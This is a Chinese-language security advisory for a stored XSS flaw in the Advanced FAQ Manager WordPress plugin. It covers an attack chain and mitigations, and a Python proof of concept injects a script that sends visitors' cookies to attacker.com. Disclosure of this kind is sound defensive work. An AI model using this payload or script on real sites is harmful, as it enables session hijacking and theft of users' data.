IPBUF安全漏洞报告
English
CVE-2025-67556 CVSS 5.9 中危

CVE-2025-67556 WordPress Advanced FAQ Manager存储型XSS漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-67556
漏洞类型
存储型XSS
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
ThemeHigh Advanced FAQ Manager (WordPress Plugin)

相关标签

存储型XSSCross-site ScriptingWordPress插件漏洞Advanced FAQ ManagerCVE-2025-67556ThemeHigh中危漏洞权限提升会话劫持

漏洞概述

CVE-2025-67556是WordPress插件ThemeHigh Advanced FAQ Manager中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响插件1.5.2及以下所有版本。漏洞源于插件在处理FAQ(常见问题)内容时,未对用户输入进行充分的输入验证和输出编码。攻击者可以利用该漏洞在FAQ的标题、内容或分类字段中注入恶意JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端,当管理员或其他用户访问包含恶意内容的页面时,攻击代码会在其浏览器中执行。这可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。攻击者需要拥有WordPress站点的高级权限(如编辑或管理员权限)才能利用此漏洞,但一旦成功,攻击影响范围将扩展至所有访问受感染页面的用户。

技术细节

该存储型XSS漏洞存在于Advanced FAQ Manager插件的FAQ管理功能模块中。具体来说,插件在创建或编辑FAQ条目时,对用户提交的question(问题)和answer(答案)字段缺乏适当的输入过滤和输出转义。当管理员在WordPress后台的FAQ管理界面添加新FAQ时,攻击者可以在FAQ标题或内容中嵌入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。由于插件直接将用户输入存储到数据库且在页面渲染时未进行HTML实体编码,恶意脚本会被执行。攻击者利用此漏洞可窃取管理员会话Cookie、篡改页面内容、植入钓鱼链接或进行进一步的身份冒充攻击。该漏洞的CVSS评分为5.9,属于中危级别,主要因为其需要高权限用户交互才能触发。

攻击链分析

STEP 1
1.侦察阶段
攻击者识别目标WordPress站点并确认安装了Advanced FAQ Manager插件版本<=1.5.2
STEP 2
2.获取高权限账号
攻击者通过暴力破解、凭证填充或社会工程学手段获取WordPress管理员或编辑权限账号
STEP 3
3.注入恶意代码
以高权限用户身份登录后台,在FAQ管理页面创建或编辑FAQ条目,在问题或答案字段中注入XSS恶意脚本
STEP 4
4.持久化存储
恶意脚本随FAQ数据被永久存储到数据库中,无需再次注入
STEP 5
5.触发执行
当其他管理员或用户访问前台FAQ页面时,浏览器解析页面时自动执行存储的恶意JavaScript代码
STEP 6
6.窃取敏感信息
恶意脚本执行后,可窃取用户Cookie、会话令牌,进行会话劫持或重定向到恶意站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # CVE-2025-67556 PoC - Stored XSS in Advanced FAQ Manager Plugin # Target: WordPress site with Advanced FAQ Manager <= 1.5.2 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-site.com' admin_path = '/wp-admin/admin.php?page=advanced-faq-manager' # XSS payload - Cookie stealing payload xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def exploit_stored_xss(): """ Exploit stored XSS in Advanced FAQ Manager plugin. Requires high privilege account (Admin/Editor). """ session = requests.Session() # Step 1: Login as admin login_url = f'{target_url}/wp-login.php' credentials = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': f'{target_url}{admin_path}' } print('[+] Logging into WordPress admin panel...') response = session.post(login_url, data=credentials) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Navigate to FAQ management page faq_url = f'{target_url}{admin_path}' response = session.get(faq_url) # Step 3: Create new FAQ with XSS payload add_faq_url = f'{target_url}/wp-admin/admin.php?page=advanced-faq-manager&action=add_new' faq_data = { 'afaq_question': xss_payload, 'afaq_answer': 'Malicious FAQ content with XSS payload', 'afaq_category': '1', 'afaq_status': 'publish', 'afaq_submit': 'Publish' } print('[+] Injecting stored XSS payload into FAQ...') response = session.post(add_faq_url, data=faq_data) if response.status_code == 200: print('[+] XSS payload injected successfully!') print(f'[+] Payload: {xss_payload}') print('[+] Payload will execute when admin/user views the FAQ page.') return True else: print('[-] Failed to inject payload!') return False if __name__ == '__main__': exploit_stored_xss()

影响范围

Advanced FAQ Manager <= 1.5.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制FAQ管理功能的访问权限,仅允许可信用户操作;2)启用Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;3)对FAQ显示页面添加客户端JavaScript过滤脚本作为临时防护;4)使用WordPress内置函数如wp_kses()对FAQ内容进行严格过滤;5)考虑暂时禁用Advanced FAQ Manager插件,待官方修复后再启用;6)加强网站监控,及时发现异常请求和脚本执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表